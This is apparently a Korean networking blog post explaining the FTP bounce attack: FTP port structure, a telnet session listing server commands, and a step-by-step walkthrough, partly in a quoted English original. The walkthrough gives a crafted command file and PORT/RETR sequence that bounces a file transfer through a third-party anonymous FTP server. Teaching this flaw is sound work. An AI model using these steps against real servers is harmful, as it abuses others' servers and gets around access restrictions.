1. FTP 바운스 공격 개요

FTP 바운스 공격( FTP bounce attack )은 FTP 프로토콜 구조의 허점을 이용한 공격 방법이다. FTP는 서버/클라이언트 구조로 이루어 져 있으며 두 호스트간의 통신을 위해 2개의 포트를 사용한다. 20번은 데이터를 전송할 때 이용하는 포트로 21번은 사용자가 ftp 클라이언트 프로그램을 이용하여 접속하고 어떤 명령을 넘겨줄 때 사용된다.

 

텔넷(telnet) 프로그램을 이용하여 ftp 접속해 보면 ftp클라이언트가 어떻게 서버와 통신하는지를 확인할 수 있다. % telnet ftp.server.hostname 21

Trying xxx.xxx.xxx.xxx

Connected to ftp.server.hostname

Escape character is '^]'.

220 ftp.server FTP server( UNIX System V Release 4.0 ) ready.

help

214-The following commands are recognized:

USER PORT RETR MSND* ALLO DELE SITE* XMKD CDUP

PASS PASV STOR MSOM* REST* CWD STAT* RMD XCUP

ACCT* TYPE APPE MSAM* RNFR XCWD HELP XRMD STOU

REIN* STRU MLFL* MRSQ* RNTO LIST NOOP PWD

QUIT MODE MAIL* MRCP* ABOR NLST MKD XPWD

214 ( *'s => unimplemented )

파일을 읽을 때 쓰는 명령은 RETR이며 저장할 때 쓰는 것은 STOR임. 접속을 끊을 때 사용하는 명령은 QUIT.

help 명령을 사용하여 ftp 프롬프트상에서 사용할 수 있는 명령의 문법을 확인할 수 있다.

help user

214 Syntax: USER <sp> username

help pass

214 Syntax: PASS <sp> password

help retr

214 Syntax: RETR <sp> file-name

help quit

214 Syntax: STOR <sp> file-name

help port

214 Syntax : PORT <sp> b0, b1, b2, b3, b4, b5

quit

221 Goodbye.

Connection closed by foreign host.

%

PORT 명령을 이용하여 서버가 자료를 보낼 목적지를 미리 알려 줄 수 있도록 할 수 있다. b0,b1,b2,b3 값은 IP주소(address)를 가지며 b4, b5값은 포트 값. 그런데 포트 값은 IP주소와는 달리 16비트 값을 이용하므로 8비트씩 나눠서10진수로 표기해야 해주어야한다. IP 주소가 aa.bb.cc.dd이고 포트 번호가 e*256 + f라면 다음과 같이 그 값을 넘겨 준다.

port aa, bb, cc, dd, e, f

 

FTP서버는 클라이언트가 지시한 곳으로 자료를 전송할 때 그 목적지가 '어떤 곳'인지는 검사하지 않는다. 그래서 FTP 클라이언트가 실행되는 호스트가 아닌 다른 호스트를 지정하더라도 서버는 충실하게 지정된 곳으로 정보를 보내게 된다. 이문제는 FTP서버의 버그가 아니라 원래 FTP 프로토콜의 설계 상에서 발생한 문제이다. 처음부터 고의로 자료를 요청하는 곳과 자료를 받는 곳이 다른곳 일수 있도록 FTP를 설계한 것이다.

결과적으로 클라이언트는 FTP서버를 거쳐 간접적으로 임의의 IP에 있는 임의의 포트에 접근할 수 있으며 또한 임의의 메시지를 보낼 수도 있게 되는 것이다.

 

2. FTP Bounce Attack 예

 

[STEP 1] 자신의 시스템에 실제 IP를 사용해서 FTP 연결을 설정한다.

# ftp 192.168.1.7

ftp> quote "pasv" -> PASV 명령으로부터 리턴되는 주소와 포트번호 F,F,F,F,X,X를 기록해 둔다.

ftp> quote "stor foobar"

#

# vi instrs

user ftp

pass -anonymous@

cwd /export-restricted-crypto

type i

port F,F,F,F,X,X <-- 앞에서 기록해둔 IP와 포트번호를 넣는다.

retr crypto.tar.Z

quit

^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

... 250 NULLS를 포함하게 한다.

 

[STEP 2]

# ftp ufred.edu <-- anonymous ftp 서버로 접속한다.

ftp> cd /incoming

ftp> put instrs

ftp> quote "port C.C.C.C.0.21"

ftp> quote "retr instrs" <-- crypto.tar.Z 파일이 foobar파일에 저장된다.

 

 

 

공격자 ------------------> 중간FTP서버 ------------------> 목적지 호스트

[STEP 1]을 자신에게              ufred.com                                        retr crypto.tar.Z

  실행한다.                              instr 파일이 upload된뒤                    하게되면 이 파일은

[STEP 2]을 중간FTP서버에     실행된다.                                          실제 공격자의 foobar

대해 실행한다.                                                                                 파일에 저장 된다.

이때 C.C.C.C는 목적지 호스트의

IP주소이다.

 

 

 

The attack
==========
This assumes you have an FTP server that does passive mode.  Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:

        quote "pasv"
        quote "stor foobar"

Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.

Construct a file containing FTP server commands.  Let's call this file
"instrs".  It will look like this:

        user ftp
        pass -anonymous@
        cwd /export-restricted-crypto
        type i
        port F,F,F,F,X,X
        retr crypto.tar.Z
        quit
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ...

F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection.  The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data.  The reason for this filler is explained later.

Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells ufred.edu's FTP server to connect to
crypto.com's FTP server using your file as the commands:

        put instrs
        quote "port C,C,C,C,0,21"
        quote "retr instrs"

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection.  If the connection to ufred.edu didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.

반응형

'Network' 카테고리의 다른 글

방화벽 구축 환경  (0) 2014.09.15
Firewall종류  (0) 2014.09.15
Well-known port  (0) 2014.09.15
IPv6  (0) 2014.09.15
SNMP  (0) 2014.09.15